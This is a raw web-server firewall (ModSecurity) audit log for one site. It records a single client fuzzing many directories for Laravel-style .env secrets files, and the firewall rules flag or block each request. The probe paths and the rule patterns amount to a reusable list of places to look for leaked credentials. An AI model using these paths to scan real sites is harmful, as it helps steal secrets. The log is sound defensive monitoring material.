User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--44a3c07e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--44a3c07e-E--
--44a3c07e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/app/.env"] [unique_id "aqZ0hWM7dE9KgIIOpQh3GwAAANc"]
Stopwatch: 1789293701133941 51299 (- - -)
Stopwatch2: 1789293701133941 51299; combined=50068, p1=247, p2=49751, p3=42, p4=4, p5=24, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--44a3c07e-Z--
--f015c67e-A--
[13/Sep/2026:13:01:41.258562 +0300] aqZ0hTTJ6xTvcJoem7f7SwAAAEI 45.138.12.13 58718 127.0.0.1 7081
--f015c67e-B--
GET /new/.env.local HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--f015c67e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f015c67e-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/new/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/new/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/new/.env.local"] [unique_id "aqZ0hTTJ6xTvcJoem7f7SwAAAEI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/new/.env.local"] [unique_id "aqZ0hTTJ6xTvcJoem7f7SwAAAEI"]
Action: Intercepted (phase 2)
Stopwatch: 1789293701177836 80848 (- - -)
Stopwatch2: 1789293701177836 80848; combined=79412, p1=206, p2=78892, p3=0, p4=0, p5=313, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f015c67e-Z--
--e3ca147d-A--
[13/Sep/2026:13:01:42.163295 +0300] aqZ0hisVWymXUono-eRVUwAAABE 45.138.12.13 58818 127.0.0.1 7081
--e3ca147d-B--
GET /conf/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--e3ca147d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--e3ca147d-E--
--e3ca147d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/conf/.env"] [unique_id "aqZ0hisVWymXUono-eRVUwAAABE"]
Stopwatch: 1789293702158191 5172 (- - -)
Stopwatch2: 1789293702158191 5172; combined=3959, p1=238, p2=3621, p3=54, p4=6, p5=40, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e3ca147d-Z--
--141c9262-A--
[13/Sep/2026:13:01:42.180307 +0300] aqZ0hmM7dE9KgIIOpQh3IQAAAMA 45.138.12.13 58828 127.0.0.1 7081
--141c9262-B--
GET /www/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--141c9262-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--141c9262-E--
--141c9262-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/www/.env"] [unique_id "aqZ0hmM7dE9KgIIOpQh3IQAAAMA"]
Stopwatch: 1789293702175003 5382 (- - -)
Stopwatch2: 1789293702175003 5382; combined=4043, p1=230, p2=3708, p3=61, p4=6, p5=38, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--141c9262-Z--
--d39bc34b-A--
[13/Sep/2026:13:01:42.186570 +0300] aqZ0hmM7dE9KgIIOpQh3IwAAAMc 45.138.12.13 58836 127.0.0.1 7081
--d39bc34b-B--
GET /cron/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--d39bc34b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d39bc34b-E--
--d39bc34b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/cron/.env"] [unique_id "aqZ0hmM7dE9KgIIOpQh3IwAAAMc"]
Stopwatch: 1789293702181457 5231 (- - -)
Stopwatch2: 1789293702181457 5231; combined=4072, p1=280, p2=3698, p3=56, p4=6, p5=32, sr=167, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d39bc34b-Z--
--d70edb24-A--
[13/Sep/2026:13:01:42.192377 +0300] aqZ0hmM7dE9KgIIOpQh3JQAAAMI 45.138.12.13 58848 127.0.0.1 7081
--d70edb24-B--
GET /docker/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--d70edb24-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d70edb24-E--
--d70edb24-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/docker/.env"] [unique_id "aqZ0hmM7dE9KgIIOpQh3JQAAAMI"]
Stopwatch: 1789293702187107 5338 (- - -)
Stopwatch2: 1789293702187107 5338; combined=4126, p1=230, p2=3775, p3=78, p4=7, p5=35, sr=124, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d70edb24-Z--
--b28bff7a-A--
[13/Sep/2026:13:01:42.192822 +0300] aqZ0hmM7dE9KgIIOpQh3IgAAANQ 45.138.12.13 58838 127.0.0.1 7081
--b28bff7a-B--
GET /docker/app/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--b28bff7a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b28bff7a-E--
--b28bff7a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/docker/app/.env"] [unique_id "aqZ0hmM7dE9KgIIOpQh3IgAAANQ"]
Stopwatch: 1789293702180937 11973 (- - -)
Stopwatch2: 1789293702180937 11973; combined=10832, p1=188, p2=10528, p3=86, p4=4, p5=26, sr=85, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b28bff7a-Z--
--dcecf52f-A--
[13/Sep/2026:13:01:42.221898 +0300] aqZ0hkwu1RSkptiiNIX5fQAAAIY 45.138.12.13 58902 127.0.0.1 7081
--dcecf52f-B--
GET /js/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--dcecf52f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--dcecf52f-E--
--dcecf52f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/js/.env"] [unique_id "aqZ0hkwu1RSkptiiNIX5fQAAAIY"]
Stopwatch: 1789293702216161 5807 (- - -)
Stopwatch2: 1789293702216161 5807; combined=4463, p1=258, p2=4066, p3=93, p4=8, p5=37, sr=133, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dcecf52f-Z--
--7c5ac87e-A--
[13/Sep/2026:13:01:42.226808 +0300] aqZ0hkwu1RSkptiiNIX5fgAAAI4 45.138.12.13 58912 127.0.0.1 7081
--7c5ac87e-B--
GET /laravel/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--7c5ac87e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--7c5ac87e-E--
--7c5ac87e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/laravel/.env"] [unique_id "aqZ0hkwu1RSkptiiNIX5fgAAAI4"]
Stopwatch: 1789293702221298 5576 (- - -)
Stopwatch2: 1789293702221298 5576; combined=4120, p1=242, p2=3775, p3=59, p4=7, p5=37, sr=103, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7c5ac87e-Z--
--58de5619-A--
[13/Sep/2026:13:01:42.227015 +0300] aqZ0hkwu1RSkptiiNIX5fAAAAJQ 45.138.12.13 58898 127.0.0.1 7081
--58de5619-B--
GET /.vscode/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--58de5619-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--58de5619-E--
--58de5619-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.vscode/.env"] [unique_id "aqZ0hkwu1RSkptiiNIX5fAAAAJQ"]
Stopwatch: 1789293702201297 25787 (- - -)
Stopwatch2: 1789293702201297 25787; combined=24564, p1=193, p2=24253, p3=62, p4=6, p5=49, sr=85, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--58de5619-Z--
--cb56c078-A--
[13/Sep/2026:13:01:44.569597 +0300] aqZ0iEwu1RSkptiiNIX5gAAAAJM 45.138.12.13 58936 127.0.0.1 7081
--cb56c078-B--
GET /mail/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--cb56c078-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--cb56c078-E--
--cb56c078-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/mail/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5gAAAAJM"]
Stopwatch: 1789293704563917 41991 (- - -)
Stopwatch2: 1789293704563917 41991; combined=4554, p1=230, p2=4206, p3=68, p4=10, p5=40, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cb56c078-Z--
--f022f173-A--
[13/Sep/2026:13:01:44.622792 +0300] aqZ0iGM7dE9KgIIOpQh3KwAAAMM 45.138.12.13 58988 127.0.0.1 7081
--f022f173-B--
GET /xampp/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--f022f173-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--f022f173-E--
--f022f173-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/xampp/.env"] [unique_id "aqZ0iGM7dE9KgIIOpQh3KwAAAMM"]
Stopwatch: 1789293704600561 22304 (- - -)
Stopwatch2: 1789293704600561 22304; combined=3818, p1=255, p2=3471, p3=53, p4=6, p5=32, sr=89, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f022f173-Z--
--60007d3b-A--
[13/Sep/2026:13:01:44.623117 +0300] aqZ0iEwu1RSkptiiNIX5hgAAAI8 45.138.12.13 59022 127.0.0.1 7081
--60007d3b-B--
GET /node_modules/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
